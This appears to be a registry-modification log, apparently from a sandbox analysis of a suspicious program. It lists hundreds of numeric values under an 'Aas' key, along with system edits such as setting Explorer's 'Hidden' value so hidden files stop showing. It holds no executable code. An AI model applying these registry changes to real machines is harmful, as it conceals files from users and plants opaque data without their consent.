"a3_243" = "1725243962"
"a1_852" = "3009377530"
"a1_914" = "966069228"
"a1_398" = "3828819943"
"a1_399" = "3031549998"
"a4_679" = "572865863"
"a1_392" = "1989934276"
"a1_393" = "3646604953"
"a1_390" = "554747624"
"a1_391" = "3625912184"
"a1_396" = "2800639286"
"a1_397" = "1300597676"
"a1_394" = "2932799873"
"a1_395" = "1413205013"
"a1_858" = "1379801515"
"a3_116" = "814879197"
"a3_117" = "821922428"
"a3_114" = "834001179"
"a3_115" = "807894458"
"a3_112" = "785940569"
"a3_113" = "826942712"
"a3_110" = "771902343"
"a3_111" = "778955814"
"a1_49" = "2079264991"
"a1_48" = "530212965"
"a3_554" = "3988280259"
"a3_118" = "862924447"
"a3_119" = "869974846"
"a3_202" = "1465015971"
"a3_203" = "1472066242"
"a3_200" = "1416954337"
"a3_201" = "1424013824"
"a3_206" = "1493543975"
"a3_207" = "1500987462"
"a3_204" = "1445500773"
"a3_205" = "1452936068"
"a1_197" = "324508150"
"a3_759" = "1163391422"
"a3_208" = "1508041977"
"a3_209" = "1481480472"
"a3_592" = "4261104249"
"a3_593" = "4234604184"
"a3_590" = "4246617511"
"a3_591" = "4253667782"
"a3_596" = "4289649661"
"a3_597" = "4263017500"
"a3_594" = "4241589051"
"a3_595" = "4282591066"
"a3_598" = "4270526655"
"a3_599" = "4277581022"
"a4_848" = "1784447312"
"a3_578" = "4160735531"
"a3_579" = "4134104394"
"a4_770" = "1225255874"
"a3_570" = "4069660115"
"a3_571" = "4076703346"
"a3_572" = "4117701269"
"a3_573" = "4124755764"
"a3_574" = "4098128727"
"a3_575" = "4105641974"
"a3_576" = "4146245737"
"a3_577" = "4153169032"
"a1_774" = "93586955"
"a1_775" = "580234965"
"a1_776" = "1107605684"
"a1_777" = "2742358465"
"a1_191" = "3407864844"
"a1_771" = "439493246"
"a1_772" = "2717017933"
"a1_773" = "4170609331"
"a1_953" = "1943882817"
"a3_927" = "2367492374"
"a1_778" = "2575659894"
"a1_779" = "3815356510"
"a3_926" = "2326953207"
"a2_17" = "121877118"
"a2_16" = "114711287"
"a2_15" = "107543308"
"a2_14" = "100361761"
"a2_13" = "93193352"
"a2_12" = "86024974"
"a2_11" = "78858111"
"a2_10" = "71682279"
"a4_829" = "1648234013"
"a4_828" = "1641064892"
"a4_776" = "1268270600"
"a1_592" = "4142104637"
"a2_19" = "136212373"
"a2_18" = "129052293"
"a4_11" = "78860331"
"a4_10" = "71691210"
"a4_13" = "93198573"
"a4_12" = "86029452"
"a4_15" = "107536815"
"a4_14" = "100367694"
"a4_17" = "121875057"
"a4_16" = "114705936"
"a4_19" = "136213299"
"a4_18" = "129044178"
"a4_926" = "2343638750"
"a4_927" = "2350807871"
"a1_878" = "2785321525"
"a4_921" = "2307793145"
"a4_922" = "2314962266"
"a1_595" = "292300581"
"a1_596" = "3191694958"
"a4_987" = "2780955131"
"a1_597" = "3667934828"
"a1_608" = "522654511"
"a1_609" = "1178902528"
"a3_378" = "2693094675"
"a3_379" = "2700145074"
"a4_846" = "1770109070"
"a3_372" = "2683746013"
"a3_373" = "2657102716"

"a3_371" = "2676691642"
"a3_376" = "2712142929"
"a3_377" = "2686171376"
"a3_374" = "2664681375"
"a3_375" = "2705154110"
"a1_759" = "2309919824"
"a3_488" = "3515101889"
"a3_489" = "3522680672"
"a4_841" = "1734263465"
"a4_840" = "1727094344"
"a1_950" = "1582607524"
"a3_484" = "3486690637"
"a1_952" = "3028733796"
"a2_925" = "2336466694"
"a1_954" = "419645632"
"a1_955" = "1947323662"
"a1_956" = "2612803214"
"a3_485" = "3460055532"
"a1_958" = "1534794641"
"a2_922" = "2314968909"
"a1_750" = "2728339218"
"a1_751" = "1267604697"
"a1_756" = "4047356872"
"a1_757" = "3704424427"
"a4_722" = "881138066"
"a4_723" = "888307187"
"a4_720" = "866799824"
"a1_661" = "2617063887"
"a4_726" = "909814550"
"a4_727" = "916983671"
"a4_724" = "895476308"
"a4_725" = "902645429"
"a4_728" = "924152792"
"a4_729" = "931321913"
"a3_978" = "2699694267"
"a3_979" = "2740303066"
"a3_127" = "927442486"
"a1_189" = "772643415"
"a4_903" = "2178748967"
"a1_188" = "2747088485"
"a4_900" = "2157241604"
"a1_187" = "3159322475"
"a4_901" = "2164410725"
"a1_186" = "3148618658"
"a2_929" = "2365188054"
"a4_905" = "2193087209"
"a1_602" = "4165027495"
"a4_586" = "4201104906"
"a4_587" = "4208274027"
"a4_584" = "4186766664"
"a4_585" = "4193935785"
"a4_582" = "4172428422"
"a4_583" = "4179597543"
"a4_580" = "4158090180"
"a4_581" = "4165259301"
"a3_800" = "1423623433"
"a3_801" = "1464105384"
"a3_802" = "1471618507"
"a3_803" = "1445115498"
"a3_804" = "1452026509"
"a3_805" = "1459605292"
"a4_588" = "4215443148"
"a4_589" = "4222612269"
"a3_645" = "312377932"
"a4_909" = "2221763693"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
"Hidden" = "2"

[HKCU\Software\Aas]
"a4_966" = "2630403590"
"a4_218" = "1562868378"
"a4_219" = "1570037499"
"a4_216" = "1548530136"
"a4_217" = "1555699257"
"a4_214" = "1534191894"
"a4_215" = "1541361015"
"a4_212" = "1519853652"
"a4_213" = "1527022773"
"a4_210" = "1505515410"
"a4_211" = "1512684531"
"a4_458" = "3283457418"
"a4_459" = "3290626539"
"a4_108" = "774265068"
"a4_109" = "781434189"
"a1_843" = "4033557302"
"a4_102" = "731250342"
"a4_103" = "738419463"
"a4_100" = "716912100"
"a4_101" = "724081221"
"a4_106" = "759926826"
"a4_107" = "767095947"
"a4_104" = "745588584"
"a4_105" = "752757705"
"a1_605" = "417336675"
"a1_558" = "177469522"
"a1_559" = "138463258"
"a1_606" = "1572269344"
"a3_925" = "2319505492"
"a1_178" = "2022099366"
"a1_179" = "2256920431"
"a1_176" = "1056655851"
"a1_177" = "2303864394"
"a1_174" = "713197495"
"a1_175" = "1913539315"
"a1_172" = "3704567964"
"a1_173" = "964064661"
"a1_170" = "2978351120"
"a1_171" = "1444119698"
"a1_550" = "4236921919"
"a2_236" = "1691921132"
"a2_237" = "1699082438"
"a2_234" = "1677581633"
"a2_235" = "1684749867"
"a2_232" = "1663226402"
"a2_233" = "1670399734"
"a2_230" = "1648889447"
"a2_231" = "1656066044"
"a1_553" = "4019889606"
"a2_238" = "1706247168"
"a2_239" = "1713414624"
"a2_522" = "3742271977"
"a2_523" = "3749448030"
"a2_520" = "3727946470"
"a2_521" = "3735120568"
"a2_526" = "3770951410"
"a2_527" = "3778131296"
"a2_524" = "3756616539"
"a2_525" = "3763784186"
"a2_838" = "1712752763"
"a2_839" = "1719920500"
"a2_528" = "3785299503"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Aas]
"a3_688" = "620670617"
"a1_626" = "119866223"
"a1_627" = "2122731990"
"a1_624" = "2429541933"
"a1_549" = "726838478"
"a1_548" = "1216155934"
"a1_547" = "2948744989"
"a1_546" = "2925022393"
"a1_545" = "212899539"
"a1_544" = "2062287487"
"a1_543" = "2815333609"
"a1_542" = "2950627080"
"a1_541" = "1023064992"
"a1_540" = "1214882299"
"a2_658" = "422321697"
"a2_659" = "429469210"
"a2_308" = "2208097594"
"a2_309" = "2215261416"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Aas]
"a2_302" = "2165076812"
"a2_303" = "2172246788"
"a2_300" = "2150741827"
"a2_301" = "2157913690"
"a2_306" = "2193747027"
"a2_307" = "2200927516"
"a2_304" = "2179409948"
"a2_305" = "2186579246"
"a2_786" = "1339960597"
"a2_787" = "1347138892"
"a2_784" = "1325627359"
"a2_785" = "1332801038"
"a2_782" = "1311292825"
"a2_783" = "1318460552"
"a2_780" = "1296944812"
"a2_781" = "1304110773"
"a2_788" = "1354295181"
"a2_789" = "1361462189"
"a1_389" = "2071014712"
"a1_388" = "2015092152"
"a1_385" = "3189014747"
"a1_384" = "1814007870"
"a1_387" = "2819292278"
"a1_386" = "1945026558"
"a1_381" = "460630281"
"a1_380" = "3235134377"
"a1_383" = "3222286084"
"a1_382" = "2795048175"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKCU\Software\Aas]
"a1_58" = "2741490132"
"a1_59" = "236891022"
"a1_56" = "1660719470"
"a1_57" = "2679108038"
"a1_54" = "344544547"
"a1_55" = "4276828596"
"a1_52" = "1696668643"
"a1_53" = "1756746967"
"a1_50" = "258603074"
"a1_51" = "2314176262"
"a3_215" = "1524377438"
"a3_214" = "1517454143"
"a3_217" = "1572437008"
"a3_216" = "1565514737"
"a3_211" = "1529532890"
"a3_210" = "1488928187"
"a3_213" = "1510469276"
"a3_212" = "1536445053"
"a1_616" = "2527916499"
"a3_748" = "1050812741"
"a3_219" = "1553446098"
"a3_218" = "1545867443"
"a3_585" = "4177070976"
"a3_584" = "4170159969"
"a3_587" = "4225122370"
"a3_586" = "4217678883"
"a3_581" = "4182227468"
"a3_580" = "4141089261"
"a3_583" = "4162646734"
"a3_582" = "4189150895"
"a3_589" = "4205615364"
"a3_588" = "4198622437"
"a3_893" = "2090093684"
"a3_569" = "4062671280"
"a3_568" = "4088782097"
"a3_563" = "4052790138"
"a3_562" = "4045747931"
"a3_561" = "4005270200"
"a3_560" = "3997761049"
"a3_567" = "4081727742"
"a3_566" = "4040721503"
"a3_565" = "4033732668"
"a3_564" = "4026683293"
"a3_109" = "798021476"
"a3_108" = "790966981"
"a1_765" = "3181852336"
"a1_764" = "17784076"
"a1_763" = "2928891725"
"a1_762" = "1488748420"
"a1_761" = "820646924"
"a3_724" = "878479485"
"a3_101" = "707522668"
"a3_100" = "733503437"
"a3_103" = "754977070"
"a3_102" = "714511503"
"a3_105" = "769475040"
"a3_104" = "762555713"
"a3_107" = "750493346"
"a3_106" = "742980099"
"a4_854" = "1827462038"
"a4_855" = "1834631159"
"a4_856" = "1841800280"
"a3_726" = "926531903"
"a4_850" = "1798785554"
"a4_851" = "1805954675"
"a4_852" = "1813123796"
"a4_853" = "1820292917"
"a3_721" = "890560280"
"a2_914" = "2257614151"
"a4_858" = "1856138522"
"a1_586" = "2352989461"
"a1_789" = "681294744"
"a3_720" = "849951481"
"a4_393" = "2817464553"
"a3_898" = "2126083691"
"a3_723" = "904992730"
"a4_939" = "2436837323"
"a4_938" = "2429668202"
"a4_937" = "2422499081"
"a4_936" = "2415329960"
"a4_935" = "2408160839"
"a3_722" = "898003899"
"a4_933" = "2393822597"
"a4_932" = "2386653476"
"a4_931" = "2379484355"
"a4_930" = "2372315234"
"a3_955" = "2568364018"
"a1_788" = "2030965568"

"a1_619" = "3702844465"
"a1_618" = "4216855196"
"a3_369" = "2628699640"
"a3_368" = "2621645145"
"a3_365" = "2600170596"
"a3_364" = "2592723909"
"a3_367" = "2647756070"
"a3_366" = "2640767111"
"a3_361" = "2604787424"
"a3_360" = "2564178497"
"a3_363" = "2585673634"
"a3_362" = "2611780355"
"a4_520" = "3727942920"
"a4_521" = "3735112041"
"a1_584" = "3262061441"
"a4_522" = "3742281162"
"a2_62" = "444487465"
"a4_523" = "3749450283"
"a2_63" = "451652028"
"a4_524" = "3756619404"
"a1_971" = "1575215445"
"a2_60" = "430155499"
"a4_525" = "3763788525"
"a1_943" = "711772294"
"a1_942" = "1463383965"
"a1_941" = "3469504575"
"a2_61" = "437317647"
"a1_947" = "2936714632"
"a4_526" = "3770957646"
"a1_945" = "2392178255"
"a1_944" = "1841593610"
"a2_66" = "473167904"
"a1_949" = "2170271273"
"a4_527" = "3778126767"
"a2_67" = "480337836"
"a2_64" = "458818023"
"a2_65" = "465985173"
"a4_735" = "974336639"
"a4_734" = "967167518"
"a4_737" = "988674881"
"a4_736" = "981505760"
"a4_731" = "945660155"
"a4_730" = "938491034"
"a4_733" = "959998397"
"a4_732" = "952829276"
"a4_739" = "1003013123"
"a4_738" = "995844002"
"a3_969" = "2668861696"
"a3_968" = "2627790049"
"a4_599" = "4294303479"
"a4_598" = "4287134358"
"a1_782" = "3719333143"
"a4_591" = "4236950511"
"a4_590" = "4229781390"
"a4_593" = "4251288753"
"a4_592" = "4244119632"
"a4_595" = "4265626995"
"a4_594" = "4258457874"
"a4_597" = "4279965237"
"a4_596" = "4272796116"
"a1_786" = "214909318"
"a1_41" = "458736949"
"a1_40" = "2029973910"
"a1_43" = "481254903"
"a3_819" = "1559971962"
"a1_42" = "3201283473"
"a3_813" = "1516544548"
"a1_45" = "2612713044"
"a3_811" = "1536136546"
"a3_810" = "1528623299"
"a3_817" = "1545483192"
"a3_816" = "1571594009"
"a3_815" = "1564605158"
"a1_44" = "4266685719"
"a1_47" = "1744988276"
"a1_46" = "933288512"
"a4_201" = "1440993321"
"a4_200" = "1433824200"
"a4_203" = "1455331563"
"a4_202" = "1448162442"
"a4_205" = "1469669805"
"a4_204" = "1462500684"
"a4_207" = "1484008047"
"a4_206" = "1476838926"
"a4_209" = "1498346289"
"a4_208" = "1491177168"
"a4_823" = "1605219287"
"a4_449" = "3218935329"
"a4_448" = "3211766208"
"a4_119" = "853125399"
"a4_118" = "845956278"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Aas]
"a4_115" = "824448915"
"a4_114" = "817279794"
"a4_117" = "838787157"
"a4_116" = "831618036"
"a4_111" = "795772431"
"a4_110" = "788603310"
"a4_113" = "810110673"
"a4_112" = "802941552"
"a4_924" = "2329300508"
"a4_565" = "4050553365"
"a4_998" = "2859815462"
"a3_750" = "1098874375"
"a3_751" = "1105859238"
"a3_752" = "1079359193"
"a4_995" = "2838308099"
"a3_753" = "1086794616"
"a4_566" = "4057722486"
"a3_921" = "2290961104"
"a3_754" = "1127403419"
"a4_879" = "2006690063"
"a3_725" = "885927068"
"a3_755" = "1134321722"
"a4_996" = "2845477220"
"a3_756" = "1108280413"
"a4_991" = "2809631615"
"a1_783" = "1151760914"
"a3_757" = "1115339004"
"a1_959" = "3244155514"
"a2_907" = "2207432180"
"a4_990" = "2802462494"
"a1_161" = "3435220311"
"a1_160" = "4266622683"
"a1_163" = "3164576414"
"a1_162" = "1437857599"
"a1_165" = "3316893904"
"a1_164" = "674162681"
"a1_167" = "2710221049"
"a1_166" = "3858545498"
"a1_169" = "1771407928"
"a1_168" = "3309127285"
"a4_992" = "2816800736"
"a4_994" = "2831138978"
"a3_727" = "933979486"
"a2_535" = "3835486060"
"a2_534" = "3828301890"
"a2_537" = "3849820376"
"a2_536" = "3842651464"
"a2_531" = "3806798628"
"a2_530" = "3799642248"
"a2_533" = "3821135746"
"a2_532" = "3813969875"
"a2_829" = "1648234731"
"a2_828" = "1641067825"
"a2_539" = "3864150356"
"a2_538" = "3856950905"
"a4_447" = "3204597087"
"a4_997" = "2852646341"
"a1_572" = "3399090178"
"a1_573" = "1064876711"
"a1_570" = "1324842209"
"a1_571" = "3789729509"
"a1_576" = "139435799"
"a1_577" = "2315162643"
"a1_574" = "929684661"
"a1_575" = "3913593697"
"a1_578" = "1665416767"
"a1_579" = "3426972991"
"a2_649" = "357787455"
"a2_648" = "350619754"
"a2_319" = "2286947392"
"a2_318" = "2279778233"
"a2_315" = "2258246604"
"a2_314" = "2251111895"
"a2_317" = "2272619868"
"a2_316" = "2265444686"
"a2_311" = "2229593246"
"a2_310" = "2222435707"
"a2_313" = "2243929907"
"a2_312" = "2236760260"
"a2_229" = "1641733366"
"a2_228" = "1634565769"
"a2_221" = "1584380794"
"a2_220" = "1577212484"
"a2_223" = "1598711159"
"a2_222" = "1591547705"
"a2_225" = "1613047744"
"a2_224" = "1605878109"
"a2_227" = "1627396620"
"a2_226" = "1620229666"
"a1_370" = "3403339337"
"a1_371" = "965267148"
"a1_372" = "3162982718"
"a1_373" = "4224113931"
"a1_374" = "2048115904"
"a1_375" = "1944679339"
"a1_376" = "2163886645"
"a1_377" = "667984772"
"a1_378" = "731632262"
"a1_379" = "4258830885"
"a2_793" = "1390144101"
"a2_792" = "1382977702"
"a2_795" = "1404478622"
"a2_794" = "1397322181"
"a2_797" = "1418828842"
"a2_796" = "1411647075"
"a3_36" = "241268621"
"a3_37" = "248309804"
"a3_183" = "1328655230"
"a1_29" = "3436744908"
"a1_28" = "2523822880"
"a1_590" = "1867245370"
"a1_23" = "766061806"
"a1_22" = "4205532904"
"a1_21" = "1325409864"
"a1_20" = "3964647130"
"a1_27" = "3017385199"
"a1_26" = "537129413"
"a1_25" = "2767038119"
"a1_24" = "1441002822"
"a1_284" = "1674228714"
"a1_285" = "3181366944"
"a1_286" = "432371241"
"a1_287" = "1923766031"
"a1_280" = "1848291405"
"a1_281" = "1200989967"
"a1_282" = "1530768276"
"a1_283" = "4120501540"
"a3_31" = "205278614"
"a1_288" = "1385227071"
"a1_289" = "3012155895"
"a3_778" = "1299211491"
"a3_779" = "1306728706"
"a2_903" = "2178746500"
"a1_591" = "3799467357"
"a3_32" = "212854281"
"a2_972" = "2673425061"
"a3_558" = "4017332551"
"a3_559" = "4024255974"
"a3_556" = "3969214597"
"a3_557" = "4009757988"
"a1_552" = "700865905"
"a3_555" = "3962303586"
"a3_552" = "3940752129"
"a3_553" = "3981361056"
"a3_550" = "3926311503"
"a3_551" = "3933234926"
"a1_598" = "3635026623"
"a1_599" = "3378605645"
"a3_178" = "1292673371"
"a3_179" = "1300121082"
"a3_174" = "1264145351"
"a3_175" = "1271198822"
"a3_176" = "1245079705"
"a3_177" = "1252068664"
"a3_170" = "1235731011"
"a3_171" = "1209100002"
"a3_172" = "1216092933"
"a3_173" = "1223671716"
"a2_31" = "222236548"
"a2_30" = "215077993"
"a2_33" = "236580848"
"a2_32" = "229415759"
"a2_35" = "250914579"
"a2_34" = "243747380"
"a2_37" = "265267151"
"a2_36" = "258080782"
"a2_39" = "279597455"
"a2_38" = "272431934"
"a3_486" = "3467639311"
"a3_487" = "3508182702"
"a3_480" = "3424608201"
"a3_481" = "3431657576"
"a3_482" = "3438646411"
"a3_483" = "3479636266"
"a4_902" = "2171579846"
"a2_584" = "4186760055"
"a4_79" = "566360559"
"a4_78" = "559191438"
"a4_906" = "2200256330"
"a4_907" = "2207425451"
"a4_904" = "2185918088"
"a2_585" = "4193942603"
"a4_73" = "523345833"
"a4_72" = "516176712"
"a4_71" = "509007591"
"a4_70" = "501838470"
"a4_77" = "552022317"
"a4_76" = "544853196"
"a4_75" = "537684075"
"a4_74" = "530514954"
"a3_642" = "324456811"
"a3_390" = "2812641775"
"a3_391" = "2786540046"
"a3_392" = "2793594529"
"a3_393" = "2800513728"
"a3_394" = "2841581411"
"a3_395" = "2848623490"
"a3_396" = "2821991461"
"a3_397" = "2829566020"
"a3_398" = "2870043879"
"a3_399" = "2877036806"
"a1_529" = "2403145995"
"a1_625" = "815926912"
"a1_622" = "3076487795"
"a1_623" = "2446743361"
"a1_620" = "2966312865"
"a1_621" = "2260468507"
"a3_643" = "331380106"

[HKCU\Software\Aas\695404737]
"7169121" = "231"

[HKCU\Software\Aas]
"a3_958" = "2556348631"
"a3_959" = "2563272054"
"a1_528" = "3551643099"
"a2_588" = "4215446468"
"a3_950" = "2498827743"
"a3_951" = "2539425406"
"a3_956" = "2575413269"
"a3_957" = "2582860980"
"a3_954" = "2527820627"
"a2_589" = "4222611272"
"a1_976" = "3281437036"
"a1_977" = "1391862501"
"a1_974" = "2888601689"
"a1_975" = "2856091857"
"a1_972" = "3426646647"
"a1_973" = "414855109"
"a1_970" = "2144048680"
"a3_827" = "1616916338"
"a1_770" = "900864638"
"a1_978" = "1425783331"
"a1_979" = "2470767944"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Aas]
"a4_199" = "1426655079"
"a3_505" = "3603458416"
"a3_504" = "3596547281"
"a2_363" = "2602388660"
"a3_507" = "3651577394"
"a3_506" = "3644525971"
"a3_501" = "3608550396"
"a3_500" = "3568002909"
"a3_503" = "3623047358"
"a3_502" = "3615603743"
"a4_821" = "1590881045"
"a4_698" = "709079162"
"a4_699" = "716248283"
"a4_820" = "1583711924"
"a4_692" = "666064436"
"a4_693" = "673233557"
"a4_690" = "651726194"
"a4_691" = "658895315"
"a4_696" = "694740920"
"a4_697" = "701910041"
"a4_694" = "680402678"
"a4_695" = "687571799"
"a4_822" = "1598050166"
"a3_828" = "1624490901"
"a3_829" = "1664967732"
"a3_826" = "1643547347"
"a4_825" = "1619557529"
"a3_824" = "1628992017"
"a3_825" = "1636505264"
"a3_822" = "1581458783"
"a3_823" = "1588517374"
"a3_820" = "1600580765"
"a3_821" = "1607565628"
"a2_900" = "2157232334"
"a1_746" = "2332348701"
"a4_827" = "1633895771"
"a2_901" = "2164419144"
"a3_644" = "305393197"
"a4_826" = "1626726650"
"a2_902" = "2171582177"
"a4_274" = "1964339154"
"a4_275" = "1971508275"
"a4_276" = "1978677396"
"a4_277" = "1985846517"
"a4_270" = "1935662670"
"a4_271" = "1942831791"
"a4_272" = "1950000912"
"a4_273" = "1957170033"
"a2_904" = "2185914727"
"a4_278" = "1993015638"
"a4_279" = "2000184759"
"a2_905" = "2193081303"
"a2_906" = "2200249685"
"a4_478" = "3426839838"
"a4_479" = "3434008959"
"a4_476" = "3412501596"
"a4_477" = "3419670717"
"a4_474" = "3398163354"
"a4_475" = "3405332475"
"a4_472" = "3383825112"
"a4_473" = "3390994233"
"a4_470" = "3369486870"
"a4_471" = "3376655991"
"a4_308" = "2208089268"
"a4_309" = "2215258389"
"a4_300" = "2150736300"
"a4_301" = "2157905421"
"a4_302" = "2165074542"
"a4_303" = "2172243663"
"a4_304" = "2179412784"
"a4_305" = "2186581905"
"a4_306" = "2193751026"
"a4_307" = "2200920147"
"a1_114" = "3727594347"
"a1_115" = "4245566253"
"a1_116" = "1174307290"
"a1_117" = "4101214877"
"a1_110" = "1511541714"
"a1_111" = "3889688710"
"a1_112" = "49127977"
"a1_113" = "1218815331"
"a1_824" = "3453641092"
"a1_118" = "916110463"
"a1_119" = "2178842702"
"a4_576" = "4129413696"
"a4_920" = "2300624024"
"a3_732" = "969437045"
"a2_498" = "3570230665"
"a2_499" = "3577394576"
"a2_492" = "3527209291"
"a2_493" = "3534379690"
"a2_490" = "3512875317"
"a2_491" = "3520042492"
"a2_496" = "3555877770"
"a2_497" = "3563060737"
"a2_494" = "3541543615"
"a2_495" = "3548712808"
"a2_816" = "1555030187"
"a2_817" = "1562199343"
"a2_814" = "1540698850"
"a2_815" = "1547865592"
"a2_812" = "1526365040"
"a3_740" = "1026900557"
"a2_810" = "1512015444"
"a2_811" = "1519180417"
"a3_733" = "943391636"
"a4_570" = "4086398970"
"a2_818" = "1569366865"
"a2_819" = "1576535961"
"a1_565" = "536805231"
"a1_564" = "88874621"
"a1_567" = "3135342443"
"a1_566" = "298444486"
"a1_561" = "2717729503"
"a1_560" = "3825494595"
"a1_563" = "815109643"
"a1_562" = "4129502606"
"a1_569" = "179869116"
"a1_568" = "850721141"
"a1_525" = "1405528279"
"a2_678" = "565704769"
"a2_679" = "572860972"
"a2_676" = "551357505"
"a2_677" = "558523026"
"a2_674" = "537025813"
"a2_675" = "544191840"
"a2_672" = "522673837"
"a2_673" = "529856558"
"a2_670" = "508338197"
"a2_671" = "515521006"
"a3_982" = "2728158783"
"a2_258" = "1849636754"
"a2_259" = "1856803900"
"a2_254" = "1820950861"
"a2_255" = "1828119736"
"a2_256" = "1835300896"
"a2_257" = "1842472930"
"a2_250" = "1792286319"
"a2_251" = "1799452522"
"a2_252" = "1806625965"
"a2_253" = "1813784610"
"a1_363" = "2496791544"
"a1_362" = "3366619261"
"a1_361" = "2949509362"
"a1_360" = "2998214452"
"a1_367" = "2226924465"
"a1_366" = "164855799"
"a1_365" = "2210563992"
"a1_364" = "1369050301"
"a1_369" = "2164097416"
"a1_368" = "3591122270"
"a3_977" = "2692709400"
"a3_924" = "2346001461"
"a1_38" = "2699774536"
"a1_39" = "3868066954"
"a1_30" = "1390955271"
"a1_31" = "3560269825"
"a1_32" = "842462838"
"a1_33" = "593854925"
"a1_34" = "3714181548"
"a1_35" = "4079848440"
"a1_36" = "1976929132"
"a1_37" = "752954448"
"a1_297" = "4049944116"
"a1_296" = "446226515"
"a1_295" = "1068769950"
"a1_294" = "2635276341"
"a1_293" = "1303048260"
"a1_292" = "3807792635"
"a1_291" = "17159962"
"a1_290" = "1551591088"
"a1_299" = "2458977409"
"a1_298" = "1973014965"
"a3_769" = "1234824520"
"a1_600" = "376995078"
"a2_668" = "493997617"
"a1_601" = "1248904951"
"a3_761" = "1143737968"
"a3_760" = "1170380241"
"a3_763" = "1191790386"
"a4_286" = "2050368606"
"a3_765" = "1206362100"
"a3_370" = "2669182491"
"a3_767" = "1186780342"
"a3_766" = "1179725847"
"a2_108" = "774260131"
"a2_109" = "781429494"
"a4_878" = "1999520942"
"a1_603" = "3835089931"
"a2_100" = "716909315"
"a2_101" = "724075788"
"a2_102" = "731243356"
"a2_103" = "738423912"
"a2_104" = "745590791"
"a2_105" = "752759556"
"a2_106" = "759935845"
"a2_107" = "767093218"
"a3_541" = "3861793492"
"a3_540" = "3887912629"
"a3_543" = "3909387158"
"a3_542" = "3868847991"
"a3_545" = "3923892392"
"a3_544" = "3916833801"
"a3_547" = "3904770410"
"a3_546" = "3897785547"
"a3_549" = "3952815660"
"a3_548" = "3945379213"
"a1_607" = "550422692"
"a1_589" = "1677021627"
"a1_588" = "1657807621"
"a3_169" = "1228156448"
"a3_168" = "1187689857"
"a3_167" = "1180635502"
"a3_166" = "1206680783"
"a3_165" = "1199757484"
"a3_164" = "1192698893"
"a3_163" = "1151697898"
"a3_162" = "1144713035"
"a3_161" = "1171213096"
"a3_160" = "1163777673"
"a1_749" = "75399572"
"a1_748" = "3619829809"
"a2_28" = "200730564"
"a2_29" = "207897570"
"a2_26" = "186396065"
"a2_27" = "193564577"
"a2_24" = "172061173"
"a2_25" = "179230046"
"a2_22" = "157727180"
"a2_23" = "164895376"
"a2_20" = "143379959"
"a2_21" = "150547658"
"a4_68" = "487500228"
"a4_69" = "494669349"
"a4_917" = "2279116661"
"a4_916" = "2271947540"
"a4_911" = "2236101935"
"a4_910" = "2228932814"
"a4_913" = "2250440177"
"a4_912" = "2243271056"
"a4_60" = "430147260"
"a4_61" = "437316381"
"a4_62" = "444485502"
"a4_63" = "451654623"
"a4_64" = "458823744"
"a4_65" = "465992865"
"a4_66" = "473161986"
"a4_67" = "480331107"
"a4_833" = "1676910497"
"a4_959" = "2580219743"
"a2_758" = "1139224421"
"a2_7" = "50177736"
"a2_6" = "43008729"
"a2_5" = "35842588"
"a2_4" = "28675215"
"a2_3" = "21509706"
"a2_2" = "14340976"
"a2_1" = "7174148"
"a2_0" = "8092"
"a1_639" = "2616645333"
"a1_638" = "480533219"
"a3_389" = "2805656908"
"a3_388" = "2765048109"
"a2_9" = "64526783"
"a2_8" = "57358515"
"a4_5" = "35845605"
"a4_4" = "28676484"
"a4_7" = "50183847"
"a4_6" = "43014726"
"a4_1" = "7169121"
"a4_0" = "0"
"a4_3" = "21507363"
"a4_2" = "14338242"
"a4_9" = "64522089"
"a4_8" = "57352968"
"a2_756" = "1124891052"
"a3_949" = "2491838908"
"a3_948" = "2484395293"
"a3_945" = "2462900280"
"a3_944" = "2455850905"
"a3_947" = "2510895354"
"a3_946" = "2503967835"
"a3_941" = "2467992228"
"a3_940" = "2427452933"
"a3_943" = "2482482022"
"a3_942" = "2474915527"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKCU\Software\Aas]
"a3_875" = "1961196962"
"a1_532" = "4050870503"
"a1_533" = "1949067995"
"a4_845" = "1762939949"
"a2_853" = "1820290178"
"a3_708" = "797636205"
"a4_923" = "2322131387"
"a3_970" = "2675785123"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C6 9F CD 2B 98 D2 B3 50 1D 15 16 78 89 14 B2 37"

[HKCU\Software\Aas]
"a1_968" = "3686907906"
"a4_689" = "644557073"
"a4_688" = "637387952"
"a1_951" = "1485161998"
"a4_685" = "615880589"
"a4_684" = "608711468"
"a4_687" = "630218831"
"a4_686" = "623049710"
"a4_681" = "587204105"
"a4_680" = "580034984"
"a4_683" = "601542347"
"a4_682" = "594373226"
"a3_831" = "1645985014"
"a3_830" = "1671960663"
"a3_833" = "1659958664"
"a3_832" = "1652904297"
"a3_835" = "1707934282"
"a1_538" = "481094369"
"a3_837" = "1688886028"
"a3_836" = "1681434349"
"a3_839" = "1736479694"
"a3_838" = "1729494959"
"a1_539" = "728995414"
"a1_957" = "568287783"
"a4_267" = "1914155307"
"a4_266" = "1906986186"
"a4_265" = "1899817065"
"a4_264" = "1892647944"
"a4_263" = "1885478823"
"a4_262" = "1878309702"
"a4_261" = "1871140581"
"a4_260" = "1863971460"

[HKCU\Software\Aas\695404737]
